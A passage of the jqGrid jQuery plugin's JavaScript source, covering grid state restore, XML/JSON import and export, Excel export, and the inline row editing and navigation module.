grid.jqGrid("collapseNode", grid[0].p.data[pos]); } else { grid.jqGrid("expandRow", grid[0].p.data[pos]); grid.jqGrid("expandNode", grid[0].p.data[pos]); } } grid.jqGrid("setSelection",ind2); return false; }); } i++; } } // multiselect if(ret.multiselect) { $.each(ret.selarrrow, function(){ $("#jqg_" + jqGridId + "_"+this)[ret.useProp ? 'prop': 'attr']("checked", "checked"); }); } // grouping if(grid.jqGrid('isGroupHeaderOn')) { grid.jqGrid('refreshGroupHeaders'); } // searchcol if(ret.searchCols) { for(var key in ret._results) { if(ret._results.hasOwnProperty(key)) { $("#jqs_" + jqGridId + "_"+key).val(ret._results[key].v); } } } // pivotgrid // // inline navigator if(ret.inlineNav && iN) { grid.jqGrid('setGridParam', { inlineNav:false }); grid.jqGrid('inlineNav', ret.pager, iN); } // toolbar filter if(ret.filterToolbar && fT) { grid.jqGrid('setGridParam', { filterToolbar:false }); fT.restoreFromFilters = true; grid.jqGrid('filterToolbar', fT); } // finally frozenColums if( ret.frozenColumns ) { grid.jqGrid('setFrozenColumns'); } grid[0].updatepager(true, true); if($.jgrid.isFunction(o.afterSetGrid)) { o.afterSetGrid( grid ); } if(o.clearAfterLoad) { window[o.storageType].removeItem("jqGrid"+$t.id); window[o.storageType].removeItem("jqGrid"+$t.id + "_data"); } } else { alert("can not convert to object"); } }, isGridInStorage : function ( jqGridId, options ) { var o = { storageType: "localStorage" }; o = $.extend(o , options || {}); var ret, gridstring, data; try { gridstring = window[o.storageType].getItem("jqGrid"+jqGridId); data = window[o.storageType].getItem("jqGrid" + jqGridId + "_data"); ret = gridstring != null && data != null && typeof gridstring === "string" && typeof data === "string" ; } catch (e) { ret = false; } return ret; }, setRegional : function( jqGridId , options) { var o = { storageType: "sessionStorage" }; o = $.extend(o , options || {}); if( !o.regional ) { return; } $.jgrid.saveState( jqGridId, o ); o.beforeSetGrid = function(params) { params.regional = o.regional; params.force_regional = true; return params; }; $.jgrid.loadState( jqGridId, null, o); // check for formatter actions var grid = $("#"+jqGridId)[0], model = $(grid).jqGrid('getGridParam','colModel'), i=-1, nav = $.jgrid.getRegional(grid, 'nav'); $.each(model,function(k){ if(this.formatter && this.formatter === 'actions') { i = k; return false; } }); if(i !== -1 && nav) { $("#"+jqGridId + " tbody tr").each(function(){ var td = this.cells[i]; $(td).find(".ui-inline-edit").attr("title",nav.edittitle); $(td).find(".ui-inline-del").attr("title",nav.deltitle); $(td).find(".ui-inline-save").attr("title",nav.savetitle); $(td).find(".ui-inline-cancel").attr("title",nav.canceltitle); }); } try { window[o.storageType].removeItem("jqGrid"+grid.id); window[o.storageType].removeItem("jqGrid"+grid.id+"_data"); } catch (e) {} }, jqGridImport : function(jqGridId, o) { o = $.extend({ imptype : "xml", // xml, json, xmlstring, jsonstring impstring: "", impurl: "", mtype: "GET", impData : {}, xmlGrid :{ config : "root>grid", data: "root>rows" }, jsonGrid :{ config : "grid", data: "data" }, ajaxOptions :{} }, o || {}); var $t = (jqGridId.indexOf("#") === 0 ? "": "#") + $.jgrid.jqID(jqGridId); var xmlConvert = function (xml,o) { var cnfg = $(o.xmlGrid.config,xml)[0]; var xmldata = $(o.xmlGrid.data,xml)[0], jstr, jstr1, key; if($.grid.xmlToJSON ) { jstr = $.jgrid.xmlToJSON( cnfg ); //jstr = $.jgrid.parse(jstr); for(key in jstr) { if(jstr.hasOwnProperty(key)) { jstr1=jstr[key]; } } if(xmldata) { // save the datatype var svdatatype = jstr.grid.datatype; jstr.grid.datatype = 'xmlstring'; jstr.grid.datastr = xml; $($t).jqGrid( jstr1 ).jqGrid("setGridParam",{datatype:svdatatype}); } else { setTimeout(function() { $($t).jqGrid( jstr1 ); },0); } } else { alert("xml2json or parse are not present"); } }; var jsonConvert = function (jsonstr,o){ if (jsonstr && typeof jsonstr === 'string') { var json = $.jgrid.parseFunc(jsonstr); var gprm = json[o.jsonGrid.config]; var jdata = json[o.jsonGrid.data]; if(jdata) { var svdatatype = gprm.datatype; gprm.datatype = 'jsonstring'; gprm.datastr = jdata; $($t).jqGrid( gprm ).jqGrid("setGridParam",{datatype:svdatatype}); } else { $($t).jqGrid( gprm ); } } }; switch (o.imptype){ case 'xml': $.ajax($.extend({ url:o.impurl, type:o.mtype, data: o.impData, dataType:"xml", complete: function(xml,stat) { if(stat === 'success') { xmlConvert(xml.responseXML,o); $($t).triggerHandler("jqGridImportComplete", [xml, o]); if($.jgrid.isFunction(o.importComplete)) { o.importComplete(xml); } } xml=null; } }, o.ajaxOptions)); break; case 'xmlstring' : // we need to make just the conversion and use the same code as xml if(o.impstring && typeof o.impstring === 'string') { var xmld = $.parseXML(o.impstring); if(xmld) { xmlConvert(xmld,o); $($t).triggerHandler("jqGridImportComplete", [xmld, o]); if($.jgrid.isFunction(o.importComplete)) { o.importComplete(xmld); } } } break; case 'json': $.ajax($.extend({ url:o.impurl, type:o.mtype, data: o.impData, dataType:"json", complete: function(json) { try { jsonConvert(json.responseText,o ); $($t).triggerHandler("jqGridImportComplete", [json, o]); if($.jgrid.isFunction(o.importComplete)) { o.importComplete(json); } } catch (ee){} json=null; } }, o.ajaxOptions )); break; case 'jsonstring' : if(o.impstring && typeof o.impstring === 'string') { jsonConvert(o.impstring,o ); $($t).triggerHandler("jqGridImportComplete", [o.impstring, o]); if($.jgrid.isFunction(o.importComplete)) { o.importComplete(o.impstring); } } break; } } }); $.jgrid.extend({ jqGridExport : function(o) { o = $.extend({ exptype : "xmlstring", root: "grid", ident: "\t", addOptions : {}, data : true }, o || {}); var ret = null; this.each(function () { if(!this.grid) { return;} var gprm = $.extend(true, {}, $(this).jqGrid("getGridParam"), o.addOptions); // we need to check for: // 1.multiselect, 2.subgrid 3. treegrid and remove the unneded columns from colNames if(gprm.rownumbers) { gprm.colNames.splice(0,1); gprm.colModel.splice(0,1); } if(gprm.multiselect) { gprm.colNames.splice(0,1); gprm.colModel.splice(0,1); } if(gprm.searchCols) { gprm.colNames.splice(0,1); gprm.colModel.splice(0,1); } if(gprm.subGrid) { gprm.colNames.splice(0,1); gprm.colModel.splice(0,1); } gprm.knv = null; if(!o.data) { gprm.data = []; gprm._index = {}; } switch (o.exptype) { case 'xmlstring' : ret = "<"+o.root+">"+ $.jgrid.jsonToXML( gprm, {xmlDecl:""} )+"</"+o.root+">"; break; case 'jsonstring' : ret = $.jgrid.stringify( gprm ); if(o.root) { ret = "{"+ o.root +":"+ret+"}"; } break; } }); return ret; }, excelExport : function(o) { o = $.extend({ exptype : "remote", url : null, oper: "oper", tag: "excel", beforeExport : null, exporthidden : false, exportgrouping: false, exportOptions : {}, method : 'GET' }, o || {}); return this.each(function(){ if(!this.grid) { return;} var url; if(o.exptype === "remote") { var pdata = $.extend({},this.p.postData), expg; pdata[o.oper] = o.tag; if($.jgrid.isFunction(o.beforeExport)) { var result = o.beforeExport.call(this, pdata ); if( $.isPlainObject( result ) ) { pdata = result; } } if(o.exporthidden) { var cm = this.p.colModel, i, len = cm.length, newm=[]; for(i=0; i< len; i++) { if(cm[i].hidden === undefined) { cm[i].hidden = false; } newm.push({name:cm[i].name, hidden:cm[i].hidden}); } var newm1 = JSON.stringify( newm ); if(typeof newm1 === 'string' ) { pdata.colModel = newm1; } } if(o.exportgrouping) { expg = JSON.stringify( this.p.groupingView ); if(typeof expg === 'string' ) { pdata.groupingView = expg; } } try { $.jgrid.postForm(o.url, pdata, o.method); } catch (e) { var params = jQuery.param(pdata); if(o.url.indexOf("?") !== -1) { url = o.url+"&"+params; } else { url = o.url+"?"+params; } window.location = url; } } }); } }); //module begin $.jgrid.inlineEdit = $.jgrid.inlineEdit || {}; $.jgrid.extend({ //Editing editRow : function(rowid,keys,oneditfunc,successfunc, url, extraparam, aftersavefunc,errorfunc, afterrestorefunc) { // Compatible mode old versions var o={}, args = $.makeArray(arguments).slice(1), $t = this[0]; if( $.jgrid.type(args[0]) === "object" ) { o = args[0]; } else { if (keys !== undefined) { o.keys = keys; } if ($.jgrid.isFunction(oneditfunc)) { o.oneditfunc = oneditfunc; } if ($.jgrid.isFunction(successfunc)) { o.successfunc = successfunc; } if (url !== undefined) { o.url = url; } if (extraparam !== undefined) { o.extraparam = extraparam; } if ($.jgrid.isFunction(aftersavefunc)) { o.aftersavefunc = aftersavefunc; } if ($.jgrid.isFunction(errorfunc)) { o.errorfunc = errorfunc; } if ($.jgrid.isFunction(afterrestorefunc)) { o.afterrestorefunc = afterrestorefunc; } // last two not as param, but as object (sorry) //if (restoreAfterError !== undefined) { o.restoreAfterError = restoreAfterError; } //if (mtype !== undefined) { o.mtype = mtype || "POST"; } } o = $.extend(true, { keys : false, keyevent : "keydown", onEnter : null, onEscape : null, oneditfunc: null, successfunc: null, url: null, extraparam: {}, aftersavefunc: null, errorfunc: null, afterrestorefunc: null, restoreAfterError: true, mtype: "POST", focusField : true, saveui : "enable", savetext : $.jgrid.getRegional($t,'defaults.savetext') }, $.jgrid.inlineEdit, o ); // End compatible return this.each(function(){ var nm, tmp, editable, cnt=0, focus=null, svr={}, ind,cm, bfer, inpclass = $(this).jqGrid('getStyleUI',$t.p.styleUI+".inlinedit",'inputClass', true), selclass = $(this).jqGrid('getStyleUI',$t.p.styleUI+".inlinedit",'selectClass', true); if (!$t.grid ) { return; } ind = $($t).jqGrid("getInd",rowid,true); if( ind === false ) {return;} $t.p.beforeAction = true; bfer = $.jgrid.isFunction( o.beforeEditRow ) ? o.beforeEditRow.call($t,o, rowid) : undefined; if( bfer === undefined ) { bfer = true; } if(!bfer) { $t.p.beforeAction = false; return; } editable = $(ind).attr("editable") || "0"; if (editable === "0" && !$(ind).hasClass("not-editable-row")) { cm = $t.p.colModel; $(ind).children('td[role="gridcell"]').each( function(i) { nm = cm[i].name; var treeg = $t.p.treeGrid===true && nm === $t.p.ExpandColumn; if(treeg) { tmp = $(this).find("span").first().html();} else { try { tmp = $.unformat.call($t,this,{rowId:rowid, colModel:cm[i]},i); } catch (_) { tmp = ( cm[i].edittype && cm[i].edittype === 'textarea' ) ? $(this).text() : $(this).html(); } } if ( nm !== 'cb' && nm !== 'subgrid' && nm !== 'rn' && nm !== 'sc') { if($t.p.autoencode) { tmp = $.jgrid.htmlDecode(tmp); } //svr[nm]=tmp; if(cm[i].editable===true) { svr[nm]=tmp; if(focus===null) { focus = i; } if (treeg) { $(this).find("span").first().html(""); } else { $(this).html(""); } var opt = $.extend({},cm[i].editoptions || {},{id:rowid+"_"+nm,name:nm,rowId:rowid, oper:'edit', module : 'inline'}); if(!cm[i].edittype) { cm[i].edittype = "text"; } if(tmp === " " || tmp === " " || (tmp !== null && tmp.length===1 && tmp.charCodeAt(0)===160) ) {tmp='';} var elc = $.jgrid.createEl.call($t,cm[i].edittype,opt,tmp,true,$.extend({},$.jgrid.ajaxOptions,$t.p.ajaxSelectOptions || {})); $(elc).addClass("editable inline-edit-cell"); if( $.inArray(cm[i].edittype, ['text','textarea','password']) > -1) { $(elc).addClass( inpclass ); } else if (cm[i].edittype === 'select') { $(elc).addClass( selclass ); } if(treeg) { $(this).find("span").first().append(elc); } else { $(this).append(elc); } $.jgrid.bindEv.call($t, elc, opt); //Again IE if(cm[i].edittype === "select" && cm[i].editoptions!==undefined && cm[i].editoptions.multiple===true && cm[i].editoptions.dataUrl===undefined && $.jgrid.msie()) { $(elc).width($(elc).width()); } cnt++; } } }); if(cnt > 0) { svr.id = rowid; $t.p.savedRow.push(svr); $(ind).attr("editable","1"); if(o.focusField ) { if(typeof o.focusField === 'number' && parseInt(o.focusField,10) <= cm.length) { focus = o.focusField; } setTimeout(function(){ var fe = $("td", ind).eq( focus ).find(":input:visible").not(":disabled"); if(fe.length > 0) { fe.focus(); } },0); } if(o.keys===true) { $(ind).on( o.keyevent ,function(e) { if (e.keyCode === 27) { if($.jgrid.isFunction( o.onEscape )) { o.onEscape.call($t, rowid, o, e); return true; } $($t).jqGrid("restoreRow",rowid, o); if($t.p.inlineNav) { try { $($t).jqGrid('showAddEditButtons'); } catch (eer1) {} } return false; } if (e.keyCode === 13) { e.preventDefault(); if($.jgrid.isFunction( o.onEnter )) { o.onEnter.call($t, rowid, o, e); return true; } if(e.target.tagName === 'TEXTAREA') { return true; } if( $($t).jqGrid("saveRow", rowid, o ) ) { if($t.p.inlineNav) { try { $($t).jqGrid('showAddEditButtons'); } catch (eer2) {} } } return false; } }); } $($t).triggerHandler("jqGridInlineEditRow", [rowid, o]); if( $.jgrid.isFunction(o.oneditfunc)) { o.oneditfunc.call($t, rowid); } } } }); }, saveRow : function(rowid, successfunc, url, extraparam, aftersavefunc,errorfunc, afterrestorefunc) { // Compatible mode old versions var args = $.makeArray(arguments).slice(1), o = {}, $t = this[0]; if( $.jgrid.type(args[0]) === "object" ) { o = args[0]; } else { if ($.jgrid.isFunction(successfunc)) { o.successfunc = successfunc; } if (url !== undefined) { o.url = url; } if (extraparam !== undefined) { o.extraparam = extraparam; } if ($.jgrid.isFunction(aftersavefunc)) { o.aftersavefunc = aftersavefunc; } if ($.jgrid.isFunction(errorfunc)) { o.errorfunc = errorfunc; } if ($.jgrid.isFunction(afterrestorefunc)) { o.afterrestorefunc = afterrestorefunc; } } o = $.extend(true, { successfunc: null, url: null, extraparam: {}, aftersavefunc: null, errorfunc: null, afterrestorefunc: null, restoreAfterError: true, mtype: "POST", saveui : "enable", savetext : $.jgrid.getRegional($t,'defaults.savetext') }, $.jgrid.inlineEdit, o ); // End compatible var success = false, nm, tmp={}, tmp2={}, tmp3= {}, editable, fr, cv, ind, nullIfEmpty=false, error = $.jgrid.trim( $($t).jqGrid('getStyleUI', $t.p.styleUI+'.common', 'error', true) ); if (!$t.grid ) { return success; } ind = $($t).jqGrid("getInd",rowid,true); if(ind === false) {return success;} var errors = $.jgrid.getRegional($t, 'errors'), edit =$.jgrid.getRegional($t, 'edit'), bfsr = $.jgrid.isFunction( o.beforeSaveRow ) ? o.beforeSaveRow.call($t,o, rowid) : undefined; if( bfsr === undefined ) { bfsr = true; } if(!bfsr) { return; } editable = $(ind).attr("editable"); o.url = o.url || $t.p.editurl; if (editable==="1") { var cm, index, elem; $(ind).children('td[role="gridcell"]').each(function(i) { cm = $t.p.colModel[i]; nm = cm.name; elem = ""; if ( nm !== 'cb' && nm !== 'subgrid' && cm.editable===true && nm !== 'rn' && nm !== 'sc' && !$(this).hasClass('not-editable-cell')) { switch (cm.edittype) { case "checkbox": var cbv = ["Yes","No"]; if(cm.editoptions && cm.editoptions.value) { cbv = cm.editoptions.value.split(":"); } tmp[nm]= $("input",this).is(":checked") ? cbv[0] : cbv[1]; elem = $("input",this); break; case 'text': case 'password': case 'textarea': case "button" : tmp[nm]=$("input, textarea",this).val(); elem = $("input, textarea",this); break; case 'select': if(!cm.editoptions.multiple) { tmp[nm] = $("select option:selected",this).val(); tmp2[nm] = $("select option:selected", this).text(); } else { var sel = $("select",this), selectedText = []; tmp[nm] = $(sel).val(); if(tmp[nm]) { tmp[nm]= tmp[nm].join(","); } else { tmp[nm] =""; } $("select option:selected",this).each( function(i,selected){ selectedText[i] = $(selected).text(); } ); tmp2[nm] = selectedText.join(","); } if(cm.formatter) { tmp2={}; } elem = $("select",this); break; case 'custom' : try { if(cm.editoptions && $.jgrid.isFunction(cm.editoptions.custom_value)) { tmp[nm] = cm.editoptions.custom_value.call($t, $(".customelement",this),'get'); if (tmp[nm] === undefined) { throw "e2"; } } else { throw "e1"; } } catch (e) { if (e==="e1") { $.jgrid.info_dialog(errors.errcap,"function 'custom_value' "+edit.msg.nodefined,edit.bClose, {styleUI : $t.p.styleUI }); } else { $.jgrid.info_dialog(errors.errcap,e.message,edit.bClose, {styleUI : $t.p.styleUI }); } } break; } cv = $.jgrid.checkValues.call($t,tmp[nm],i); if(cv[0] === false) { index = i; return false; } if($t.p.autoencode) { tmp[nm] = $.jgrid.htmlEncode(tmp[nm]); } if(o.url !== 'clientArray' && cm.editoptions && cm.editoptions.NullIfEmpty === true) { if(tmp[nm] === "") { tmp3[nm] = 'null'; nullIfEmpty = true; } } } }); if (cv[0] === false){ try { if( $.jgrid.isFunction($t.p.validationCell) ) { $t.p.validationCell.call($t, elem, cv[1], ind.rowIndex, index); } else { var tr = $($t).jqGrid('getGridRowById', rowid), positions = $.jgrid.findPos(tr); $.jgrid.info_dialog(errors.errcap,cv[1],edit.bClose,{ left:positions[0], top:positions[1]+$(tr).outerHeight(), styleUI : $t.p.styleUI, onClose: function(){ if(index >= 0 ) { $("#"+rowid+"_" +$t.p.colModel[index].name).focus(); } } }); } } catch (e) { alert(cv[1]); } return success; } var idname, opers = $t.p.prmNames, oldRowId = rowid; if ($t.p.keyName === false) { idname = opers.id; } else { idname = $t.p.keyName; } if(!$.isEmptyObject(tmp)) { tmp[opers.oper] = opers.editoper; if (tmp[idname] === undefined || tmp[idname]==="") { tmp[idname] = rowid; } else if (ind.id !== $t.p.idPrefix + tmp[idname]) { // rename rowid var oldid = $.jgrid.stripPref($t.p.idPrefix, rowid); if ($t.p._index[oldid] !== undefined) { $t.p._index[tmp[idname]] = $t.p._index[oldid]; delete $t.p._index[oldid]; } rowid = $t.p.idPrefix + tmp[idname]; $(ind).attr("id", rowid); if ($t.p.selrow === oldRowId) { $t.p.selrow = rowid; } if (Array.isArray($t.p.selarrrow)) { var i = $.inArray(oldRowId, $t.p.selarrrow); if (i>=0) { $t.p.selarrrow[i] = rowid; } } if ($t.p.multiselect) { var newCboxId = "jqg_" + $t.p.id + "_" + rowid; $("input.cbox",ind) .attr("id", newCboxId) .attr("name", newCboxId); } // TODO: to test the case of frozen columns } if($t.p.inlineData === undefined) { $t.p.inlineData ={}; } tmp = $.extend({},tmp,$t.p.inlineData,o.extraparam); } if (o.url === 'clientArray') { tmp = $.extend({},tmp, tmp2); if($t.p.autoencode) { $.each(tmp,function(n,v){ tmp[n] = $.jgrid.htmlDecode(v); }); } tmp = $.jgrid.isFunction($t.p.serializeRowData) ? $t.p.serializeRowData.call($t, tmp) : tmp; var k, resp = $($t).jqGrid("setRowData",rowid,tmp); $(ind).attr("editable","0"); for(k=0;k<$t.p.savedRow.length;k++) { if( String($t.p.savedRow[k].id) === String(oldRowId)) {fr = k; break;} } $($t).triggerHandler("jqGridInlineAfterSaveRow", [rowid, resp, tmp, o]); if( $.jgrid.isFunction(o.aftersavefunc) ) { o.aftersavefunc.call($t, rowid, resp, tmp, o); } if(fr >= 0) { $t.p.savedRow.splice(fr,1); } success = true; $(ind).removeClass("jqgrid-new-row").off("keydown"); } else if(o.url === 'storage') { tmp = $.extend({},tmp, tmp2); if($t.p.autoencode) { $.each(tmp,function(n,v){ tmp[n] = $.jgrid.htmlDecode(v); }); } tmp = $.jgrid.isFunction($t.p.serializeRowData) ? $t.p.serializeRowData.call($t, tmp) : tmp; if($(ind).hasClass("jqgrid-new-row")) { $($t).jqGrid('addStorageRecord', tmp) .then(function(e){ if(e.type==="complete") { var k, resp = $($t).jqGrid("setRowData",rowid,tmp); $(ind).attr("editable","0"); for(k=0;k<$t.p.savedRow.length;k++) { if( String($t.p.savedRow[k].id) === String(oldRowId)) {fr = k; break;} } $($t).triggerHandler("jqGridInlineAfterSaveRow", [rowid, resp, tmp, o]); if( $.jgrid.isFunction(o.aftersavefunc) ) { o.aftersavefunc.call($t, rowid, resp, tmp, o); } if(fr >= 0) { $t.p.savedRow.splice(fr,1); } success = true; $(ind).removeClass("jqgrid-new-row").off("keydown"); if($t.p.inlineNav===true) {$($t).jqGrid('showAddEditButtons');} } }) .catch(function(e) { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }); } else { $($t).jqGrid('updateStorageRecord', tmp) .then(function(e){ if(e.type==="complete") { var k, resp = $($t).jqGrid("setRowData",rowid,tmp); $(ind).attr("editable","0"); for(k=0;k<$t.p.savedRow.length;k++) { if( String($t.p.savedRow[k].id) === String(oldRowId)) {fr = k; break;} } $($t).triggerHandler("jqGridInlineAfterSaveRow", [rowid, resp, tmp, o]); if( $.jgrid.isFunction(o.aftersavefunc) ) { o.aftersavefunc.call($t, rowid, resp, tmp, o); } if(fr >= 0) { $t.p.savedRow.splice(fr,1); } success = true; $(ind).off("keydown"); if($t.p.inlineNav===true) {$($t).jqGrid('showAddEditButtons');} } }) .catch(function(e) { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }); } } else { $($t).jqGrid("progressBar", {method:"show", loadtype : o.saveui, htmlcontent: o.savetext }); tmp3 = $.extend({},tmp,tmp3); tmp3[idname] = $.jgrid.stripPref($t.p.idPrefix, tmp3[idname]); $.ajax($.extend({ url:o.url, data: $.jgrid.isFunction($t.p.serializeRowData) ? $t.p.serializeRowData.call($t, tmp3) : tmp3, type: o.mtype, async : false, //?!? success: function(resuly,stat,res){ $($t).jqGrid("progressBar", {method:"hide", loadtype : o.saveui, htmlcontent: o.savetext}); if (stat === "success"){ var ret = true, sucret, k; sucret = $($t).triggerHandler("jqGridInlineSuccessSaveRow", [res, rowid, o]); if ( !Array.isArray(sucret) ) {sucret = [true, tmp3];} if (sucret[0] && $.jgrid.isFunction(o.successfunc)) {sucret = o.successfunc.call($t, res);} if( Array.isArray(sucret) ) { // expect array - status, data, rowid ret = sucret[0]; tmp = sucret[1] || tmp; } else { ret = sucret; } if (ret===true) { if($t.p.autoencode) { $.each(tmp,function(n,v){ tmp[n] = $.jgrid.htmlDecode(v); }); } if(nullIfEmpty) { $.each(tmp,function( n ){ if(tmp[n] === 'null' ) { tmp[n] = ''; } }); } tmp = $.extend({},tmp, tmp2); $($t).jqGrid("setRowData",rowid,tmp); $(ind).attr("editable","0"); for(k=0;k<$t.p.savedRow.length;k++) { if( String($t.p.savedRow[k].id) === String(rowid)) {fr = k; break;} } $($t).triggerHandler("jqGridInlineAfterSaveRow", [rowid, res, tmp, o]); if( $.jgrid.isFunction(o.aftersavefunc) ) { o.aftersavefunc.call($t, rowid, res, tmp, o); } if(fr >= 0) { $t.p.savedRow.splice(fr,1); } success = true; $(ind).removeClass("jqgrid-new-row").off("keydown"); } else { $($t).triggerHandler("jqGridInlineErrorSaveRow", [rowid, res, stat, null, o]); if($.jgrid.isFunction(o.errorfunc) ) { o.errorfunc.call($t, rowid, res, stat, null); } if(o.restoreAfterError === true) { $($t).jqGrid("restoreRow",rowid, o); } } } }, error:function(res,stat,err){ $("#lui_"+$.jgrid.jqID($t.p.id)).hide(); $($t).triggerHandler("jqGridInlineErrorSaveRow", [rowid, res, stat, err, o]); if($.jgrid.isFunction(o.errorfunc) ) { o.errorfunc.call($t, rowid, res, stat, err); } else { var rT = res.responseText || res.statusText; try { $.jgrid.info_dialog(errors.errcap,'<div class="'+error+'">'+ rT +'</div>', edit.bClose, {buttonalign:'right', styleUI : $t.p.styleUI }); } catch(e) { alert(rT); } } if(o.restoreAfterError === true) { $($t).jqGrid("restoreRow",rowid, o); } } }, $.jgrid.ajaxOptions, $t.p.ajaxRowOptions || {})); } } return success; }, restoreRow : function(rowid, afterrestorefunc) { // Compatible mode old versions var args = $.makeArray(arguments).slice(1), o={}; if( $.jgrid.type(args[0]) === "object" ) { o = args[0]; } else { if ($.jgrid.isFunction(afterrestorefunc)) { o.afterrestorefunc = afterrestorefunc; } } o = $.extend(true, {}, $.jgrid.inlineEdit, o ); // End compatible return this.each(function(){ var $t= this, fr=-1, ind, ares={}, k; if (!$t.grid ) { return; } ind = $($t).jqGrid("getInd",rowid,true); if(ind === false) {return;} var bfcr = $.jgrid.isFunction( o.beforeCancelRow ) ? o.beforeCancelRow.call($t, o, rowid) : undefined; if( bfcr === undefined ) { bfcr = true; } if(!bfcr) { return; } for(k=0;k<$t.p.savedRow.length;k++) { if( String($t.p.savedRow[k].id) === String(rowid)) {fr = k; break;} } if(fr >= 0) { if($.jgrid.isFunction($.fn.datepicker)) { try { $("input.hasDatepicker","#"+$.jgrid.jqID(ind.id)).datepicker('hide'); } catch (e) {} } $.each($t.p.colModel, function(){ if( $t.p.savedRow[fr].hasOwnProperty(this.name)) { ares[this.name] = $t.p.savedRow[fr][this.name]; } }); $($t).jqGrid("setRowData",rowid,ares); $(ind).attr("editable","0").off("keydown"); $t.p.savedRow.splice(fr,1); if($("#"+$.jgrid.jqID(rowid), "#"+$.jgrid.jqID($t.p.id)).hasClass("jqgrid-new-row")){ setTimeout(function(){ $($t).jqGrid("delRowData",rowid); $($t).jqGrid('showAddEditButtons'); },0); } } $($t).triggerHandler("jqGridInlineAfterRestoreRow", [rowid]); if ($.jgrid.isFunction(o.afterrestorefunc)) { o.afterrestorefunc.call($t, rowid); } }); }, addRow : function ( p ) { p = $.extend(true, { rowID : null, initdata : {}, position :"first", useDefValues : true, useFormatter : false, addRowParams : {extraparam:{}} },p || {}); return this.each(function(){ if (!this.grid ) { return; } var $t = this; $t.p.beforeAction = true; var bfar = $.jgrid.isFunction( p.beforeAddRow ) ? p.beforeAddRow.call($t,p.addRowParams) : undefined; if( bfar === undefined ) { bfar = true; } if(!bfar) { $t.p.beforeAction = false; return; } p.rowID = $.jgrid.isFunction(p.rowID) ? p.rowID.call($t, p) : ( (p.rowID != null) ? p.rowID : $.jgrid.randId()); if(p.useDefValues === true) { $($t.p.colModel).each(function(){ if( this.editoptions && this.editoptions.defaultValue ) { var opt = this.editoptions.defaultValue, tmp = $.jgrid.isFunction(opt) ? opt.call($t) : opt; p.initdata[this.name] = tmp; } }); } $($t).jqGrid('addRowData', p.rowID, p.initdata, p.position); p.rowID = $t.p.idPrefix + p.rowID; $("#"+$.jgrid.jqID(p.rowID), "#"+$.jgrid.jqID($t.p.id)).addClass("jqgrid-new-row"); if(p.useFormatter) { $("#"+$.jgrid.jqID(p.rowID)+" .ui-inline-edit", "#"+$.jgrid.jqID($t.p.id)).click(); } else { var opers = $t.p.prmNames, oper = opers.oper; p.addRowParams.extraparam[oper] = opers.addoper; $($t).jqGrid('editRow', p.rowID, p.addRowParams); $($t).jqGrid('setSelection', p.rowID); } }); }, inlineNav : function (elem, o) { var $t = this[0], regional = $.jgrid.getRegional($t, 'nav'), icons = $.jgrid.styleUI[$t.p.styleUI].inlinedit; o = $.extend(true,{ edit: true, editicon: icons.icon_edit_nav, add: true, addicon:icons.icon_add_nav, save: true, saveicon: icons.icon_save_nav, cancel: true, cancelicon: icons.icon_cancel_nav, addParams : {addRowParams: {extraparam: {}}}, editParams : {}, restoreAfterSelect : true, saveAfterSelect : false }, regional, o ||{}); return this.each(function(){ if (!this.grid || this.p.inlineNav) { return; } var gID = $.jgrid.jqID($t.p.id), disabled = $.jgrid.trim( $($t).jqGrid('getStyleUI', $t.p.styleUI+'.common', 'disabled', true) ); // check to see if navgrid is started, if not call it with all false parameters. if(!$t.p.navGrid) { $($t).jqGrid('navGrid',elem, {refresh:false, edit: false, add: false, del: false, search: false, view: false}); } if(!$($t).data('inlineNav')) { $($t).data('inlineNav',o); } if($t.p.force_regional) { o = $.extend(o, regional); } $t.p.inlineNav = true; // detect the formatactions column if(o.addParams.useFormatter === true) { var cm = $t.p.colModel,i; for (i = 0; i<cm.length; i++) { if(cm[i].formatter && cm[i].formatter === "actions" ) { if(cm[i].formatoptions) { var defaults = { keys:false, onEdit : null, onSuccess: null, afterSave:null, onError: null, afterRestore: null, extraparam: {}, url: null }, ap = $.extend( defaults, cm[i].formatoptions ); o.addParams.addRowParams = { "keys" : ap.keys, "oneditfunc" : ap.onEdit, "successfunc" : ap.onSuccess, "url" : ap.url, "extraparam" : ap.extraparam, "aftersavefunc" : ap.afterSave, "errorfunc": ap.onError, "afterrestorefunc" : ap.afterRestore }; } break; } } } if(o.add) { $($t).jqGrid('navButtonAdd', elem,{ caption : o.addtext, title : o.addtitle, buttonicon : o.addicon, id : $t.p.id+"_iladd", internal : true, onClickButton : function () { if($t.p.beforeAction === undefined) { $t.p.beforeAction = true; } $($t).jqGrid('addRow', o.addParams); if(!o.addParams.useFormatter && $t.p.beforeAction) { $("#"+gID+"_ilsave").removeClass( disabled ); $("#"+gID+"_ilcancel").removeClass( disabled ); $("#"+gID+"_iladd").addClass( disabled ); $("#"+gID+"_iledit").addClass( disabled ); } } }); } if(o.edit) { $($t).jqGrid('navButtonAdd', elem,{ caption : o.edittext, title : o.edittitle, buttonicon : o.editicon, id : $t.p.id+"_iledit", internal : true, onClickButton : function () { var sr = $($t).jqGrid('getGridParam','selrow'); if(sr) { if($t.p.beforeAction === undefined) { $t.p.beforeAction = true; } $($t).jqGrid('editRow', sr, o.editParams); if($t.p.beforeAction) { $("#"+gID+"_ilsave").removeClass( disabled ); $("#"+gID+"_ilcancel").removeClass( disabled ); $("#"+gID+"_iladd").addClass( disabled ); $("#"+gID+"_iledit").addClass( disabled ); } } else { $.jgrid.viewModal("#alertmod_"+gID, {gbox:"#gbox_"+gID,jqm:true});$("#jqg_alrt").focus(); } } }); } if(o.save) { $($t).jqGrid('navButtonAdd', elem,{ caption : o.savetext || '', title : o.savetitle || 'Save row', buttonicon : o.saveicon, id : $t.p.id+"_ilsave", internal : true, onClickButton : function () { var sr = $t.p.savedRow[0].id; if(sr) { var opers = $t.p.prmNames, oper = opers.oper, tmpParams = o.editParams; if($("#"+$.jgrid.jqID(sr), "#"+gID ).hasClass("jqgrid-new-row")) { o.addParams.addRowParams.extraparam[oper] = opers.addoper; tmpParams = o.addParams.addRowParams; } else { if(!o.editParams.extraparam) { o.editParams.extraparam = {}; } o.editParams.extraparam[oper] = opers.editoper; } if( $($t).jqGrid('saveRow', sr, tmpParams) ) { $($t).jqGrid('showAddEditButtons'); } } else { $.jgrid.viewModal("#alertmod_"+gID, {gbox:"#gbox_"+gID,jqm:true});$("#jqg_alrt").focus(); } } }); $("#"+gID+"_ilsave").addClass( disabled ); } if(o.cancel) { $($t).jqGrid('navButtonAdd', elem,{ caption : o.canceltext 